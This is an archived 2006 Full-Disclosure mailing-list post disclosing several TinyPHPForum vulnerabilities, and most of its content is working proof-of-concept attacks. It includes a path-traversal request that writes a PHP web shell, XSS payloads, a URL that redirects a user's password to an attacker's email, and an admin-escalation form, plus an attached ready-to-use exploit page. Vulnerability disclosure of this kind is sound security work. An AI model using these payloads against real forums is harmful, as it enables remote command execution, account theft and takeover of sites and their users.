[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [Full-disclosure] TinyPHPForum Multiple Vulnerabilities
From: SirDarckCat <sirdarckcat () gmail ! com>
Date: 2006-07-30 4:44:52
Message-ID: 8ba534860607292144j1088bd32qbb9382a1e64776c6 () mail ! gmail ! com
[Download RAW message or body]
[Attachment #2 (multipart/alternative)]
TinyPHPForum Multiple Vulnerabilities.
http://sourceforge.net/projects/tinyphpforum/
----------------------------------------------------
TinyPHPForum is a forum based on file handling.
And has shown multiple vulnerabilities in several previous
releases.
Here I present the bugs for the actual version at 29/July
====================================================
Arbitrary File Handling.
Code:
PoC:
http://www.server.com/action.php?action=npost
POST:
fid=../rshell.php%00
tid=<?php system($_GET['c']);?>
txt=tmp
------
Code:
http://www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?phpsystem($_GET['c']);?>&p=<?php
system($_GET['c']);?>
------
====================================================
XSS, even with magic_quotes:
Code:
PoC:
[a]' style='top:epresionje(eval(this.sss));' sss='alert();[/a]
[img]javascript:alert();[/img]
------
XSS.
Code:
PoC:
http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS>
------
Code:
PoC:
http://www.server.com/search.php?query=<XSS>
------
====================================================
Password Disclosure:
Code:
http://www.server.com/error.php?err=200&uname=victim&email=attacker@mail.com
------
====================================================
Admin Maker xD
Code:
PoC:
<FORM action=updatepf.php method=post enctype="multipart/form-data">
NOM:<INPUT name=uname><br>
<INPUT type=file name=userfile><br>
MAIL: <INPUT type=text name=email>
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit value="Enviar consulta">
</FORM>
------
A working exploit is anexed.
====================================================
Att.
Sirdarckcat
www.elhacker.net
--
Att.
SirDarckCat@GMail.com
http://www.google.com/search?q=sirdarckcat
[Attachment #5 (text/html)]
<p>TinyPHPForum Multiple Vulnerabilities.<br><a \
href="http://sourceforge.net/projects/tinyphpforum/">http://sourceforge.net/projects/tinyphpforum/</a><br>----------------------------------------------------</p>
<p>TinyPHPForum is a forum based on file handling.</p>
<p>And has shown multiple vulnerabilities in several previous<br>releases.</p>
<p>Here I present the bugs for the actual version at 29/July</p>
<p><br>====================================================</p>
<p>Arbitrary File Handling.</p>
<p>Code:<br>PoC:</p>
<p><a href="http://www.server.com/action.php?action=npost">http://www.server.com/action.php?action=npost</a></p>
<p>POST:<br>fid=../rshell.php%00<br>tid=<?php \
system($_GET['c']);?><br>txt=tmp<br>------</p> <p>Code:<br><a \
href="http://www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?php">http: \
//www.server.com/split.php?action=split&f=/../rshell.php%00&t=<?php</a> \
system($_GET['c']);?>&p=<?php system($_GET['c']);?> <br>------</p>
<p>====================================================</p>
<p>XSS, even with magic_quotes:</p>
<p>Code:<br>PoC:<br>[a]' style='top:epresionje(eval(this.sss));' \
sss='alert();[/a]<br>[img]javascript:alert();[/img]<br>------</p> <p>XSS.</p>
<p>Code:<br>PoC:<br><a \
href="http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=< \
XSS">http://www.server.com/header.php?siteName=<XSS>&title=<XSS>&style=<XSS</a>
><br>------<br>Code:<br>PoC:<br><a \
href="http://www.server.com/search.php?query=<XSS">http://www.server.com/search.php?query=<XSS</a>><br>------</p>
<p>====================================================</p>
<p>Password Disclosure:</p>
<p>Code:<br><a href="http://www.server.com/error.php?err=200&uname=victim&email=attacker \
@mail.com">http://www.server.com/error.php?err=200&uname=victim&email=attacker@mail.com</a><br>------</p>
<p>====================================================</p>
<p>Admin Maker xD</p>
<div>Code:<br>PoC:<br><FORM action=updatepf.php method=post \
enctype="multipart/form-data"><br>NOM:<INPUT \
name=uname><br><br><INPUT type=file name=userfile><br><br>MAIL: <INPUT \
type=text name=email> <br><input type=hidden name=makeadmin value=true><br><input \
type=hidden name=stat value=true><br><input type=hidden name=ulang \
value=en><br><input type=hidden name=uskin value=default><br><INPUT type=submit \
value="Enviar consulta"> <br></FORM><br>------</div>
<div>A working exploit is anexed.</div>
<p>====================================================</p>
<p>Att.</p>
<p>Sirdarckcat<br><a href="http://www.elhacker.net/">www.elhacker.net</a></p><br \
clear="all"><br>-- <br>Att.<br><a \
href="mailto:SirDarckCat@GMail.com">SirDarckCat@GMail.com</a><br><br><a \
href="http://www.google.com/search?q=sirdarckcat"> \
http://www.google.com/search?q=sirdarckcat</a>
["tpfexploit.html" (text/html)]
TinyPHPForum 3.6 Admin Maker<br>
By SirDarckCat from elhacker.net
<FORM method=post enctype="multipart/form-data">
Existing User:<INPUT name=uname><br>
<INPUT type=file name=userfile style="visibility:HIDDEN"><br>
<INPUT type=hidden name=email value="a@b.c">
<input type=hidden name=makeadmin value=true>
<input type=hidden name=stat value=true>
<input type=hidden name=ulang value=en>
<input type=hidden name=uskin value=default>
<INPUT type=submit>
</FORM>
<script language="JavaScript">
document.forms[0].action=prompt("Path to forum","http://www.server.com/tpf/")+"updatepf.php";
</script>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic